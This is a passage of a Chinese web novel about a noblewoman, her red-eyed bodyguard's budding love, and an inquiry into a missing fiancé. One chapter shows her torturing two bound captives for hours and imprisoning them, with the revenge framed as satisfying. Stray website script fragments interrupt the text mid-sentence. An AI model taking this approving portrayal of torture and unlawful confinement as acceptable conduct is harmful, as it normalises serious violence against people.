一号的脸色变了变。 他还记得这两人是过来干什么的,拎起那根细长的棍子,看向李叔,“这是什么?” 李叔手指抖了抖,他攥紧了手里属于林女官的光脑,不知道该说些什么。 于是一号明白了,手上一用力,棍子歪了半截,“把人关起……” “等等。” 众人抬头,发现谢烟雨站在楼梯口,不知道她站了多久,总之看见这一幕她的脸上没有任何惊讶。 一号眸光一闪,手一挥,棍子呈抛物线往后掉,稳稳摔在林女官的头上,引得她痛呼一声。 一号头也没回,快步往前,高大的身子遮挡住谢烟雨所有视线,他垂眸,声音平淡中夹杂着些许温柔。 “李叔处理这些,我带你出去吃早饭,好不好?” 22. 曾经 一号看别人时,红眸总是透出一股淡漠,看向谢烟雨时,则自然而然流露出一股温柔。 这股温柔看不太真切,藏在眼底,一般人发现不了。 可是他离谢烟雨这么近,近到谢烟雨微仰起脸,就能感受到他呼吸声,视线稍微一抬,就能撞进他宛如红宝石的双眼中。 他早上去摘了白色山茶花,身上似乎也沾染了味道,凑近后就能闻到。 谢烟雨被花香包裹,不自在地扣了扣手心,往后退了一步,“不用。” 一号的眉眼耷拉了些。 谢烟雨抿了抿唇,鼻尖的花香渐渐淡去,她往前一步,又闻到了那股若有若无的香味。 她扣着手心,没看一号,“就在这吃。” 一号微顿,抬眼看她。 “李叔,把人带下去,光脑拿给我,桌上的菜重新热一遍。” 说完,谢烟雨绕过一号,准备下楼。 一号没等她抬脚,就问:“我呢?” 每个人都有任务,那他呢? 谢烟雨听懂了他的潜意思,扣手心的动作加快几分,泛起几分疼意,“你……你去叫谢骁起床吧。” “阿一哥哥!” 谢骁换好衣服出来,一号还维持着靠在门框上垂眸思索的动作。 他歪头去看一号的表情,有些不解地问:“你想什么呐?想得都发呆啦!” 一号在想什么? 谢烟雨抬眸看他的动作跳进脑海里,一号闭了闭眼,抬手揉了揉发热的耳朵,“没想什么。” “骗人。”谢骁哼了一声,伸手去拉他,“你这个表情,我经常在我爸爸身上看到。” 一号任由他拉着,“是吗?” 谢骁重重点头,“嗯!他想我妈妈的时候就是这个表情!” 也会有别的表情,很难过很难过的那种,一般他都会躲起来不让看。 谢骁自认是个体贴的孩子,就算偶尔撞见也不会上去问,因为他在爸爸身边的时候,爸爸连难过的时间都没有。 谢骁好奇,“阿一哥哥,你刚刚在想谁?” 一号抿着唇,“下楼吃饭。” “你不说我也知道!”谢骁摇头晃脑,“肯定是在想我小姑!你每次看她的时候都不一样!” 一号心中一跳,下意识地问:“哪里不一样?” “嗯……就是你看我的时候,眼睛是平平的,看小姑的时候,眼睛是弯弯的,跟天上的月亮一样。”谢骁努力比划着。 一号不是很理解他的意思,但心跳却失了一拍,那种看见谢烟雨把他送的山茶花放在房间里的茫然重新出现,他不知所措地抓住了谢骁的手。 “啊!我知道了!”谢骁高兴地跳了一下,歪头看他,“你喜欢我小姑!” “什么?”一号哑然。 谢骁说:“你喜欢我小姑啊!我爸爸说了,只有喜欢,才会让人变得不太一样。” 喜欢? 像是被戳穿了心底最隐蔽的角落,一号脑子轰鸣,见到谢烟雨后的画面一股脑地冲进脑海,失序的心跳像是背景乐一般萦绕在耳边。 谢烟雨在他身上闻到了山茶花的香味,并不知道自己身上也有山茶花的香味。 一号在她身上闻到的浅淡花香在这一刻仿佛都浓郁了起来。 他好半晌都没回过神来。 “阿一哥哥?”谢骁拉了拉一号手臂,黑白分明的眼睛里带着不解,怎么走着走着就停了? 一号手心冒出汗,他不着痕迹地松开谢骁,声音有些低哑,“我真的……不一样?” 他问谢骁,眼里尽是迷茫和忐忑,企图得到一个回答。 他知道喜欢背后的含义,这是兽人传承带给他的记忆,但他其实并不知道什么是喜欢。 喜欢会让人变得不一样? 他思考了好一会,都没觉得自己对谢烟雨哪里不一样,但只要想想……本就跳得飞快的心脏愈演愈烈,完全没有停下来的意思。 “对啊!” 难得有大人这么认真地问自己问题,谢骁来了兴致,也不着急吃早饭了,停在原地一一给他掰扯。 “你送礼物给小姑,不送礼物给别人;你对小姑眼睛弯弯,不对别人这样;小姑说什么你都听,别人的话……你应该不听。” “你看,是不是不一样?” 一号沉默,点头,“是不一样。” 原来这是喜欢? 一号舔了舔干涩的唇瓣,可是好像也只有一点点不一样。 不够,这还不够。 他心底突然冒出一道声音,催促着他快点增加这些不一样,很迫切,很着急。 一号呼吸急促一瞬,红色的瞳孔泛起奇异的光芒,看起来有些吓人。 谢骁喊他:“阿一哥哥?” 一号闭了闭眼,所有情绪被尽数压下,他重新牵起谢骁的手,“走吧,吃早饭。” “哦。”谢骁还想跟他再说说,但看他表情凝重,就不敢说了。 一号还在想该怎么增加这些不一样,但很快就到了楼梯口,谢烟雨的身影已经出现在眼前,他拉住谢骁。 “怎么啦?”谢骁正准备冲过去抱谢烟雨呢。 “刚刚的事,你不能告诉你小姑,这是我们的秘密。” 一号也说不清自己为什么要这么说,但是直觉告诉他,现在还不是时候,必须得等,得等到一个合适的时机。 谢骁眼睛微亮,“好!那我们就有两个秘密啦!” “嗯。” 拉完勾,一号直起身,看着谢骁冲到谢烟雨跟前停下,给予她一个轻轻的拥抱。 “怎么这么慢?”刚上的菜又开始转凉,她正准备让人拿去再热一遍。 谢骁转了转眼珠子,嘿嘿笑两声,脑袋往她怀里蹭,“跟阿一哥哥聊天聊太久啦。” 谢烟雨摸了下他的脑袋,侧头去看。 一号刚好走到她身边,她一转头,就闻到了他身上的花香,忍不住愣了下。 “小姑,你等会送我上学嘛?”谢骁扯了扯她的衣服。 谢烟雨低头,错过了一号看过来的视线,“好。” 三人吃完饭,谢烟雨和一号一起把谢骁送到学校,又拐到蛋糕店买了甜品,才回家。 一号本来跟着她,但看见她进了书房,略一犹豫,转身离开。 他 () { $(''.inform'').remove(); $(''#content'').append('' 知道谢烟雨不想让他知道当年的事。 谢烟雨看了眼他的背影,抵在门上的手用力几分,门被推在墙上,发出砰的一声。 一号停下脚步,看过去,只看到书房门被缓缓关上,他顿了顿,快步离开。 他没有回房间,而是绕开别墅暗处的所有视线,悄悄离开。 谢烟雨不拘着他,自然不知道他的行踪,就像她不知道那束山茶花是在哪里摘的一样。 “小姐……” 李叔把林女官的光脑给谢烟雨后,她就一直维持着看照片的动作,一动不动,像是被定格了一样。 李叔忍不住担忧地喊了一声。 “没事。”谢烟雨好似才反应过来,轻轻闭了闭眼,手指重重点过照片上狼狈的自己,“今天早上搜到的那些东西呢?” “都放在楼下呢。”李叔说。 谢烟雨让他把那些东西拿出来,低声道:“这么多年了,也该报仇了。” 当年谢林臣离开谢家后,谢父把目光落在她身上。 她亲眼目睹了自己母亲的凋零,怎么可能听他的话,挣扎许久,被关进地下室。 当时外祖家再次出事,李叔以及其他母亲留下来的大部分都去帮忙,一时间顾不上谢烟雨。 谢父寻了空子,势要把这个不听话的女儿调教得听话。 林女官和陈女官就是那时候出现的,她们对谢烟雨进行教育,逼她听话。 问的问题只能回答规定好的标准答案,做出的行为也要最符合谢家标准。 那段日子,谢烟雨不是什么谢家小姐,也不是谢烟雨,她在谢父以及那两个女人眼里,就是一条不听话需要教训的狗。 要是不听话,就会有惩罚,这些惩罚随心所欲,有大有小。 小到被打一顿,被踩在脚底下拍下屈辱的照片,大的……不记得了。 谢烟雨被关了多久,她已经记不得了,只知道出来的时候看见太阳都嫌刺眼。 当时她躺在担架上,穿着鲜血干涸的破衣服,身上的鞭痕棍痕以及乱七八糟的别的殴打痕迹触目惊心。 李叔哭得稀里哗啦,泪水冲刷掉她身上的污痕,露出底下瘆人的伤口。 谢烟雨那会就死了一次了。 再次活过来,大概是陆安然一脚踹飞厕所门,将她从一帮人手中拉过来护在身后的时候。 谢烟雨谁也没告诉,其实那会她身上揣了刀,打算杀死这些人再自杀,可是就在她要实行这个计划的时候,陆安然出现了。 她告诉她,不反抗的话欺负她的人就会蹬鼻子上脸,得反抗,得告诉她们,欺负人是要付出代价的。 谢烟雨想说我知道啊,但后来她什么都没有说,沉默着点头,看着陆安然揉了把她的脑袋后叹着气离开。 再后来,谢烟雨按照陆安然的话慢慢地走到了现在,每一步都很稳,除了她破败的身体。 “小姐,到了。” 谢烟雨一直在走神,已经在门口站了十来分钟了,李叔不得不提醒她。 谢烟雨晃了下神,失焦的瞳孔重新聚焦,落在李叔身上,又转到眼前的门上,里头关着曾经欺负过她的两个人。 23. 心意 谢烟雨推门进去。 昏暗的房间里只有一束从窗外透进来的阳光,打在靠墙角的桌子上。 被翻乱的行李大大咧咧地躺在床上和地下,杂乱得无从下脚。 林女官和陈女官被捆着手,挤坐在角落里,神色晦暗,抬起看过来的眼里透着几抹恨意。 谢烟雨把门关上,隔绝了李叔欲言又止的担忧,将拎着的包裹扔在地上,哗啦一阵响后,那些折磨人的工具滚了一地。 林女官瞳孔微缩,不着痕迹地往后退了一步。 陈女官抬起肿如猪头的脸,恶狠狠地盯着谢烟雨,“你想干什么!” 谢烟雨没什么想干的,她蹲下身在那堆工具中挑挑拣拣,最后拿起那根长满倒刺的鞭子。 鞭子通体黑亮,但谢烟雨记得,这鞭子以前是白色的。 绑定690快半个月了,她的身体好了一半,不会因为情绪激动而心悸,更不会走两步就头晕脑胀,偶尔也能干点力气活。 今天楼底下动静太大,她没来得及做运动,索性就在这里做了吧。 谢烟雨甩了甩鞭子,有些重,但还在能承受的范围内。 她的意图太明显了,原本还在骂人的陈女官变了脸色,“你想打我们?谢烟雨!你敢吗!” 被她们教过的人都会产生应激反应,偏偏谢烟雨不会,甚至在再见时的第一面就冷下了脸。 陈女官怕疼,看见那长满倒刺的鞭子就皱眉,她可不想让这玩意落在自己身上! “我们可是谢先生派来的!你敢忤逆他?莫不是忘了当年在地下室里……” 啪—— 谢烟雨没有说话,她手一甩,鞭子就落在了陈女官脸上,倒刺稳稳地扎在皮肤内。 谢烟雨手一动,鞭子往回收,勾着那些皮肉后退,些许沾在了鞭子上,让她嫌恶地皱了皱眉。 “啊!!!”陈女官痛得缩起身子,生理盐水被逼出眼角,掉在伤口上,更痛了,她乱叫着蠕动身体,几次险些打到身侧的林女官。 林女官顺势缩到她身后,抬头却发现谢烟雨正在盯着她,正要说话,那条鞭子就迎面落了下来。 “啊!!!” 再次收回鞭子的谢烟雨将鞭子扔在了一边,她掌握不好力道,每次都有些恶心的东西溅到身上,还是换一个吧。 谢烟雨花了两个小时,把拎来的工具都用了一遍,最后喘着气扔掉手上的棍子,双眸泛着奇异的亮光。 她紧紧地盯着已经面目全非的两人,半晌笑出声,“原来,当时你们这么站着看我,是这种感觉啊。” 她蹲下身,揪着林女官还算干净点的头发,强迫她抬起头来,“还在想着让他救你?” 林女官吃痛,连着两个小时的单方面碾压让她声音嘶哑,“谢烟雨!你不得好死!你不得好死!!” “你才会不得好死!”谢烟雨毫不客气地将她的头重重地磕在地板上,发出咚的一声巨响,“你们就是发臭发烂的虫子,都不配称之为人!” 谢烟雨不是她们“教”过的第一个学生,也不是她们“教”过的最后一个学生,却是她们“教”过后唯一一个走出来的学生。 那些早早香消玉殒的女孩子们的仇,她都替她们记着呢,今天只是开始,以后这种好日子,她们还得过个几十年。 谢烟雨放开林女官,去抓陈女官,咚咚咚的巨响后,她终于满意地放开了手。 她站起身,居高临下地看着宛如死猪一样趴在地上的两人,“我和他已经闹翻了,只要我不死,你就别妄想从我这里出去。” “谢烟雨!你这是犯法的!你这是在非法囚禁他人!” 谢烟雨嘴角勾起一抹讽刺的笑,“反正我也一定活到被抓的那天,能拉着你们下地狱,是一桩不错的买卖,不是吗?” “啊啊啊啊!谢烟雨!我一定要杀了你!杀了你!!!” 随着门的开关,所有污言秽语都被挡在了门后。 李叔听见动静回头,看见了一闪二而过的房内情景—— 狭小的房内,四周的墙壁沾染了暗红的血迹,最角落的地方趴着两个人。 她们身上的裙子湿漉漉地搭在身上,上面晕开的污渍分不清是血还是汗,被梳得一丝不苟的发髻早已松散,一绺一绺地贴在斑驳的脸上。 李叔面无表情地收回视线,看向谢烟雨,“小姐。” 他语气疼惜,递上一张干净的帕子。 谢烟雨接过擦掉额头上的薄汗,身上粘腻的衣服让她很不舒服,“叫人给她们看看,别死了,以后关在下边,就照今天这个程度好好照顾着。” “是。”李叔微垂的双眸中泛着冷光,小姐还是太善良了,就这个程度,她们怎么会怕呢。 李叔以前也是上过战场的,见多了折磨人的手段,他会一一用在这两人身上,当然,这些就不必让他家小姐知道了。 谢烟雨回房间洗澡,李叔送她上去。 关门前一刻,她想到了什么,“阿一呢?” 李叔愣了一下,“许是在房间里。” “嗯。”谢烟雨点点头,打算洗完澡找他一趟。 …… 一号并不在房间里。 他沿着上次踩好的点往前,一路通畅地来到皇宫某座宫殿的二楼。 平日这个点这里都没人,一号掀起窗帘的一角,正要潜进去,忽然听到了门外传来脚步声。 他轻轻放下窗帘,将自己掩盖在阳台上的巨大绿植后面。 “殿下,谢大人发来了见面请求。” “是要说换亲一事?”二皇子走在前边,闻言侧头,“不见。” “不是。”随从官打开门,弯腰请他进去后才直起身子走进去关上门,“他说,想请您和谢小姐见一面。” “谢烟雨?” 一号听见熟悉的名字,眉头渐渐蹙起。 “是。” 二皇子想到那次在餐厅惊鸿一瞥的人,眼底升起点兴味,刚要说话,突然想到了什么,“她没有和秦明朗订婚,现在应该还是秦宥的未婚妻吧?” “是的,但听说,谢大人在参加宴会时曾透露过想要接除婚约的意思。” 二皇子嗤笑一声,“真是个老狐狸。” 随从官低头不语。 二皇子站起身,走到书桌前坐下,把玩着大拇指上的戒指,思索一会,“见也行,等什么时候有空再说吧。” “是。” 二皇子喃喃道:“毕竟是个美人呢。” 随从官眼观鼻鼻观心,假装自己是个聋子。 一号眯了眯眼,手上一用力,哗啦一声,植物根茎被他撕了下来。 他皱眉,抬头对上二皇子惊慌的视线,手中残存的植物被当做暗器扔出去,自己撑着栏杆翻身跳了下去。 随从官连忙上去挡,二皇子一把把他推开,脸色发青,咬牙切齿,“给我追!” “是!”随从官慌里慌张地下去了。 二皇子站在原地,目光凶狠地看着那抹很快消失不见的背影,用力攥了攥手指。 可恶! 生气的他并没有发现,自己阳台正对面的那棵树上藏着一个人,正惊讶地看着屏幕上刚拍下来的照片。 越看眉头越皱,这人……怎么那么像老大? 照片被传给了苏铭,【你看像不像老大?】 苏铭正在开会,收到消息后不着痕迹地瞥了一眼,就这么一眼,直接将他定格在原地。 他手伸到桌子底下,点开照片放大,研究半晌后回:【身形很像,哪里看到的?】 【二皇子寝宫,不知道来干什么的,还被发现了。】 【让人跟上去了?】 【跟不上,他跑得太快了,你没看见我拍的照片都是糊的吗?】 苏铭抿了抿唇,眉眼下压,评判道:【垃圾。】 他正要关了光脑,发现最上面有条新的信息,点开一看,是谢烟雨提醒他不要忘记明天见面的事。 苏铭随意回了一句,关掉光脑,把心思收敛一半放在会议上,另一半,则在思考明天见面的事。 他原先并不想见谢烟雨,在他看来,心里有着别人还跟秦宥订婚的谢烟雨是一个很不负责任的人,找他无非就是为了说退婚的事。 但他没有想到,谢烟雨见到他的第一句话是说她不会退婚。 当然,她退不退婚苏铭不在乎,他更在乎的是她为什么要派人盯着二皇子,到底是不是因为发现了什么…… 这些事,明天就会有答案了。 苏铭想到至今下落不明的秦宥,忍不住攥了攥拳头。 等他回神,就听到上面讲话的人宣布:“既然如此,就由蓉萱上将暂代第一军团军团长的位置,第三军团由陆安墨陆副官暂为接管。” 蓉萱和陆安墨一同起身上台进行交接,苏铭掀了掀眼皮,站起身,走上去,作为第一军团军团长的副官上前敬礼表示欢迎。 会议结束,前去办公室的路上,蓉萱走在前边,跟陆安墨说了两句话,转头看向苏铭,“苏副官。” “是。”苏铭抬起头,“蓉上将请说。” 这边都是第一军团的人,没有什么好避讳的,蓉萱也就不拐弯抹角了,“秦宥还没找到?” 苏铭看了她一眼,“没有。” 蓉萱说:“虽说第一军团暂由我接管,但其实还在皇室眼皮子底下,这些人都不能动用。” 苏铭何尝不知道,正因为这样,他能用的人大大减少,寻找的速度也变慢了不少。 “安墨。”蓉萱喊了一句,她身后的陆安墨上前,把自己那枚代表第三军团军团长副官的徽章递给苏铭。 苏铭愣了一下,“这?” 军团内的每一枚徽章都是身份的象征,蓉萱此举,相当于把第三军团军团长副官的位置给了苏铭。 “当然不是给你的,而且你挑的人必须由我亲自过目后才能上任,上任期间他要是做了什么违反第三军团军纪的事,安墨也不会手软,你明白吗?” 苏铭还是没有接,他不明白,“为什么?” 四支军团之间说不上水火不相容,但也是竞争关系,蓉萱上任第一军团,不想着收拢人,反而把第三军团副官的位置给了他,让他安插自己的人? 蓉萱:“第三军团一直驻扎在边界,找人是他们的强项,这些,安墨都会和你的人说。” 苏铭不说话。 蓉萱极快地皱了下眉,冰冷如霜的脸上发生了细微的变化,“我只是不想我的同僚死得不明不白。” 她说:“就算他有罪,也应该是由帝国的法律制裁他。” 苏铭沉默良久,最后接过了那枚徽章,“谢谢。” 蓉萱点头,语气平淡,“不客气,办完事徽章还得还给安墨。” “当然。” 苏铭嘴角牵起一抹笑,真心实意的那种。 …… 谢烟雨洗完澡,光脑震了一下,是陆安然的消息,【后天是我生日,你来不来?】 谢烟雨眼睛微亮:【来!】 【那你到了发消息给我,我去门口接你。】 【好!】 退出聊天后,谢烟雨点开了商城,打算给陆安然挑一份她会喜欢的礼物。 说起这个她就想起谢父说的,陆家让陆安然接触二皇子的事。 顿了会,谢烟雨把这个放在了脑后,继续挑礼物,因为挑的太入迷,都忘了跟一号说明天要去见苏铭的事。 一直到吃完晚饭上床睡觉的时候,她才想起来,但这个点,一号应该也睡了。 谢烟雨没有再出门,躺在床上准备入睡,但脑子里不合时宜地跳出了乱七八糟的想法。 早上有事压着,她还没这么焦虑,晚上夜深人静,某些刻意忽略的事情重新冒出来,侵扰她的思绪。 和谢父翻脸,又把两位女官关了起来,这些事谢烟雨都不后悔,但她焦虑后边的事。 秦宥的任务进度条仍旧没有上涨,离系统给的期限已经过去快半个月了,如果明天见苏铭还是没有任何收获,她该从什么地方入手? 想着想着,突然听见外边传来一阵轻响,谢烟雨睁开眼,坐起身看过去。 阳台玻璃门被锁上,窗帘拉得严实,她看不见一点属于外边的景色,只能听见细微的脚步声。 有点耳熟。 谢烟雨想到了什么,站起身,走到阳台玻璃门旁边,“阿一?” 外面坐着的一号愣了下,下意识地撑起栏杆翻身跳下去,他在楼底 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 站了半晌,都没有听见别的动静,于是又攀了上来。 他刚跳进阳台,玻璃门就被拉开,晚风吹起窗帘,露出里头静静看着他的谢烟雨。 一号:“……你怎么知道我没走?” 谢烟雨笑了下,没有告诉他有个词叫做守株待兔。 她觉得一号有时候看起来傻傻的,一点都不符合他高武力值的形象,不过这样也好,待在身边更令人放心。 “你来找我?”说完,谢烟雨又觉得不可能,找她应该不会三更半夜来。 她刚要走出去,一号拦住她,“外面有风,你穿件外套?” 谢烟雨顿了顿,转身回去拿了件衣服披着,再次回到阳台,一号给她在角落的地方搬了张椅子,而他自己坐在栏杆边缘。 晚风清凉,伴随点点星光穿梭夜空。 周围很安静,两个人都没有说话,直到一阵风把窗帘吹起又抛下,差点打在谢烟雨脸上。 一号速度极快地护住谢烟雨,抓住那一块窗帘,垂头看她,“你没事吧?” 这次一号身上没有山茶花的味道,有的是家里统一购买的沐浴露的味道,很淡很淡的香味,靠得近才能闻到。 两人距离很近,近到谢烟雨不仅能闻到他身上沐浴露的香气,还能感受到他撑在椅子把手上的手臂散发的热气。 她不自在地往后缩了缩,垂下双眸,“没事。” “……好。” 一号看见她后退的动作,身体微不可察的一僵,愣了好一会,才后退起身,去把窗帘扎起来。 屋内昏暗,在他脸上留下一片阴影,谢烟雨看不清他的表情,但能感觉到他似乎不是很开心。 谢烟雨感觉自己应该说点什么,但她不知道要说什么,只能扣了扣手心,收回目光。 等一号扎好窗帘出来,谢烟雨仰头看过去,“你找我,有事吗?” 月光在她身上洒下一层银光,一号站着,能清楚地看见她所有的动作,包括她自以为隐蔽的攥起手扣手心的动作。 她在紧张。 得出这个结论的一号莫名也有些紧张,或许是黑暗给了他勇气,又许是谢烟雨的问话给了他必须回答的理由。 他犹豫着问:“你对我……有什么不一样吗?” 谢烟雨怔了怔,抬头对上他紧紧跟着的视线,心跳漏了一拍,她连忙垂下双眸,“……什么?” 一号看清了她闪避的动作,红色的瞳孔显得黯淡无光,“没什么。” “我走了,你早点睡觉。” 说完,一号撑着栏杆跳下阳台,身影极快地消失在夜色之中。 他冲回了房间,借着外面的光亮拿出自己放在心尖的照片,替谢烟雨回答了刚刚那个问题,“……你对我没有不一样,我知道的。” 一号没明白自己心思的时候,对这些下意识的忽视,可他明白之后,就开始在意了。 特别是在二皇子那里听到的,谢烟雨的未婚夫秦宥。 他知道未婚夫是什么意思,也听得懂二皇子的意思。 很多人都在看着谢烟雨,而他是里头最没有胜算的那一个。 一号抓着照片的手抖了抖,在床上翻了个身。 他彻底睡不着了。 同样睡不着的还有对门的谢烟雨。 一号走得太快,谢烟雨压根没反应过来,直到人都走干净了,她才后知后觉一号的话里暗藏的意思。 是她想的那个意思吗? 为什么一号会对她产生这种感觉啊? 什么时候的事,她怎么一点都没有察觉到? 谢烟雨几乎是飘忽着走到床上躺下。 她一幕一幕地回想着两人的相遇到现在的情景,摸着心脏自问,她真的一点都没有察觉到吗? 胸腔下的心跳的一下接一下,撞在手上震得有些发疼。 谢烟雨难得失眠了。 第二天起床,谢烟雨做完运动洗完澡出去,一抬眼就看到同样开门出来的一号。 当初让一号住对门的弊端终于显露出来了。 一号看着她,脸上没有什么其它表情,“今天的花香吗?” “什么?”谢烟雨愣了下,下意识往阳台看了眼,她起来到现在还没去过阳台。 她侧头对上一号的视线,顿了顿,“还不知道,我去拿回来闻闻。” 听她这么说,一号笑了下。 他很少笑,至少谢烟雨还是第一次见他笑,不由得多看了一眼,但他很快就收敛表情,对她说:“快去吧。” 于是谢烟雨回了房间,走到阳台,把今日份的山茶花从栏杆上取下来,刚准备插进花瓶,回想起一号的话,她鬼使神差地低下了头。 再次出门,谢烟雨的脸有些红。 一号靠在墙上等她,谢烟雨脚步一停,生怕他问些香不香的问题,但好在他没有问,只是等她走到身边后直起身子,跟她并肩下楼。 两人心不照宣地没有提起昨晚的事,还是和以往一般相处,好像什么都没变。 不……还是变了的。 谢烟雨看着一号用公筷给夹了自己喜欢的东西放在自己面前,拿筷子的手都抖了下。 一号表现得更加明显了,似乎是……开窍了? 谢烟雨什么都没说,安心享受了这份带着躁动的早饭。 吃完饭,把谢骁送到学校,谢烟雨带着一号去了和苏铭约好的地方,是一家私人会所。 谢烟雨进去的时候,苏铭已经来了一会了,正坐着发呆,听见声音才回神,抬眼看过去。 见到谢烟雨后,他站起身,行了个见面礼,“谢小姐。” “苏先生。”谢烟雨回了一礼。 苏铭抬起头,正要说话,看见跟着谢烟雨进来的人后瞬间哑声,“这位是?” “是我的贴身保镖,你可以叫他阿一。” 苏铭忍不住看了一眼又一眼,真的很像!而且跟陈述发来的照片也很像! 他的目光隐晦,谢烟雨并没有发现,但阿一第一时间就感受到了,皱眉看过去。 他看人时基本没什么表情,红色瞳孔显得更加不近人情和冷漠。 苏铭收回打量的目光,冲他点了点头,把目光转向谢烟雨,“谢小姐,请坐。” 24. 醋意 谢烟雨在苏铭对面坐下。 一号动作自然地坐在了她的身侧。 苏铭眉梢微挑,不着痕迹地看他一眼又收回视线,“谢小姐上次找我,好像还有些话没有说完?” 他看似把话题主动权交给了谢烟雨,实则是在试探她知道的到底有多少。 谢烟雨知道他是秦宥信任的人,并不拐弯抹角,“我是想问问秦宥的事。” 秦宥这个名字一出,一号的耳朵动了动,面上没有什么表情,实则攥紧了手指。 苏铭眯了眯眼,“哦?谢小姐想知道些什么?” “秦宥找到了吗?” 这个问题让苏铭想起了容萱,她给的那枚徽章还放在他的口袋里。 苏铭抿着唇,身子往后靠,看着谢烟雨,“没有。” 谢烟雨极快地皱了下眉,声音低低地自言自语,“还没有吗。” 苏铭都找不到人,她更不可能找到了,现在只能取信于苏铭,让他有消息的时候可以告诉她一声,再走一步看一步了。 只是,都已经过去半个月了,消失的秦宥真的还能活下来吗? 她手心有些发凉,但她自己没有觉,反倒是坐在他身侧的一号感觉到了。 他有些不开心地垂眸,然后倒了杯温热的茶水递给谢烟雨。 谢烟雨接过握在手心,像是早就习惯了一般。 苏铭静静地看着,嘴角扯出一抹意味不明的笑意,“谢小姐,您问这个是想做什么?” 谢烟雨:“我很担心他,希望他能平安回来。” 碰—— 茶器和茶几相撞,发出刺耳的声音。 谢烟雨和苏铭看向一号,后者面无表情,“手滑了。” 苏铭嘴角勾起一抹玩味的笑容,“阿一先生还是小心些好,这些东西都是我朋友的珍藏,摔坏了他可是要生气的。” “嗯。”一号慢吞吞地应了一声。 谢烟雨拉了拉一号的衣角,后者抿唇不语,但后边都乖乖的不再发出什么奇怪的动静。 谢烟雨的话苏铭半信半不信,只道:“秦宥一定会平安回来的。” “如果可以,希望苏先生找到秦宥的时候能够通知我一声。” 苏铭看了她一眼,笑道:“当然。” 如果真的找到了秦宥,他相信秦宥第一眼最想见到的肯定是谢烟雨,所以不用她说,他也会通知她。 苏铭答应得爽快,谢烟雨的心落下一大半,剩下的一半都集中在接下来要说的这件事上。 秦宥莫名失踪一事,肯定是背后有人在下黑手,甚至可能是亲近的人。 刚开始谢烟雨还怀疑过苏铭,研究过苏铭的来处后,她打消了这个怀疑。 剩下的,秦宥平时接触的,都被她一一排除。 或许有些人是她不知道的,但有一个,嫌疑真的很大。 “你是说,二皇子?” 听完谢烟雨的推测,苏铭靠在沙发上的腰挺直,身体略微前倾,紧紧地盯着谢烟雨: “谢小姐,你该知道,这话不能随便乱说,何况你没有任何证据。” “正因为我没有任何证据,我才会跟你说。” 谢烟雨看着他,眼神并不退缩,甚至隐隐占据这次谈话的上风。 “苏副官,你离秦宥最近,你应该知道他是个什么样的人,他真的会做坑杀士兵的事吗?” 苏铭看她半晌,重新靠在沙发上,垂着眸,看不清眼底的情绪,只是声音并不平淡,“他当然不会做。” “那就是陷害。”谢烟雨拿过茶壶给他倒了杯热茶,递过去,“能陷害他的人,想必也不多吧?” 苏铭看了眼那冒着热气的茶,余光掠过进来到现在没有主动说过话的一号。 他拿起那杯茶,道:“这就是谢小姐派人盯着二皇子的理由?” 谢烟雨挑了下眉,“看来苏先生早就有所察觉。” 不然怎么会知道她派人过去盯着二皇子呢。 苏铭不答,“换联姻对象一事我近期才知道。” 他在解释,是在卖谢烟雨一个好,也算是一个交好的信号。 “嗯。”这跟谢烟雨猜测得差不多,苏铭毕竟是秦宥的副官,插手这个比她方便得多。 她想起第一次见秦明朗时他说的那些话,“秦宥和秦家关系不好?” 苏铭扯了扯嘴角,他想说些什么,最后还是没说,“我只能告诉你,他们很想杀死秦宥。” 说起秦家,他眼底覆上一层冷漠到极点的厌恶。 “那秦宥对他们?” “差不多。” 谢烟雨从包里掏出一沓纸,放在桌子上推给苏铭,“那就趁他还没回来,把秦家的把柄抓到手吧。” “秦家有个叫林书的,是秦天海的心腹,但他好像更听沈玫的话。”谢烟雨意有所指地说。 这些东西她原本打算是拿来威胁秦明朗的,但秦家都不打算换联姻对象了,她拿着也没什么用了,还不如给用得上的人。 苏铭正在看这些资料,闻言顿了顿,“你说那个人叫什么?” “林书。” 谢烟雨离开后,苏铭掩藏的古怪一下显露出来。 林书?不会是他知道的那个林书吧? 他不是个乞丐吗?怎么变成了秦天海的心腹,还成了秦天海妻子的情夫? 离开会所,谢烟雨让司机去中央广场的蛋糕店。 路上,一号很沉默。 他如往常一样坐在谢烟雨身边,但并不说话,也并不像以往那样偷偷用余光看她,看起来心事重重。 谢烟雨动了动身子,两人挨得极近的腿接触又远离,她一下子就顿住了。 这个动作惊扰到了一号,他往那边看了眼,收回目光,抿唇开口,声音有些低,“秦宥......” “嗯?”谢烟雨没听清他在说什么,他低着头,声音有些含糊,她只听见了秦宥二字。 一号抬起头看她,皱着眉,斟酌着用词,“你......对他,很在意?” “谁?秦宥吗?” 在会所听见一号弄出声音的那一刻,谢烟雨就知道回去的时候会有这么一遭。 她扣着手心,想了一会,“有点吧。” 秦宥的生死关系到她的生死,说不在意肯定是假的。 但要抛开这个,单论秦宥这个人,她可能就没有这么在意了。 会关注 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,会提供援助,但不会如现在这般东奔西走。 说到底,她也是个自私的人,她更在乎自己。 “有点,是有多少?”一号仍旧看着她,声音很轻,却很执着。 谢烟雨噎了一下,不知道怎么回答这个问题。 正好蛋糕店到了,她飞快地下车,没有回头看一号的表情。 买完蛋糕回来,一号没有再提这件事,两人都很默契地当作什么都没有发生。 回到家,谢烟雨一头扎进房间,完全不去看一号的欲言又止。 躺在沙发上深呼吸几口气的谢烟雨逐渐平静下来。 她承认,她对一号也是有点感觉的,不然她不会放仍一号这么接近自己。 但是,她活不久啊。 秦宥的任务自上次涨了百分之五之后就再也没有动过,如果一直不动,她就只有两个多月好活。 谢烟雨给自己设定的任务期限还有一个半月,若是任务还没进展,她就放弃了,她要用最后一个月去享受生命。 她还没决定好在生命的最后时段要不要谈个恋爱呢,毕竟她想做的事太多了。 幸而一号不是死缠烂打的性子,看出她的犹豫之后没有再逼着她承认什么,而是适当地后退一步,给了她喘息的机会。 这样的距离对现在的谢烟雨来说刚刚好,谈恋爱是一件大事,她还要想想。 一号跟着她到了门口,看见她关了门,有些失落地垂下双眸,站了好一会才离开。 他想不明白谢烟雨为什么不回答他,但他知道,谢烟雨不想让他再问下去。 狩猎时总需要有好的耐心,或许对谢烟雨也是,他该耐心地等待,等待她给予他回应的那一刻。 谢骁下午放学回到家,明显感觉到家里不太一样,具体哪里不一样,他又说不上来。 